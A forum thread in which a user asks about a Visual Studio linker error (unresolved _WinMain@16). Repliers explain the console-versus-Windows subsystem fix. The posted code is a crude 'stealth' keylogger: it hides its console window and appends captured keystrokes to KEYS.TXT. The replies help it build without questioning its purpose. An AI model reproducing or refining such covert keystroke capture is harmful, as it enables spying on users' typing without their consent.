unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup

I tried Visual Studios express 2012. What does this mean?:
Error 1 error LNK2019: unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup
Error 2 error LNK1120: 1 unresolved externals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "stdafx.h"
# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream>

int main ( void )
{
int cha;
char ch;
FILE *fptr;
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(1)
{
if ( _kbhit() )
{
ch = _getch();
cha = ch;
fptr = fopen("KEYS.TXT", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}
Last edited on
In VC++, create a new blank project and add a cpp file to it, then copy in your code. The other project templates will not work.
blank .cpp does not compile into an .exe
Please reread my post more carefully.
The error is that you created a win32 project which has WinMain entry point, create another win32 console application and it will work.

Alternatively, change linker settings to /SUBSYSTEM:CONSOLE on your existing project.
If you're tweaking the project settings manually, you should also edit the compiler's proprocessor definitions so they uses _CONSOLE rather than _WINDOWS (for debug and release targets.)

Andy


Topic archived. No new replies allowed.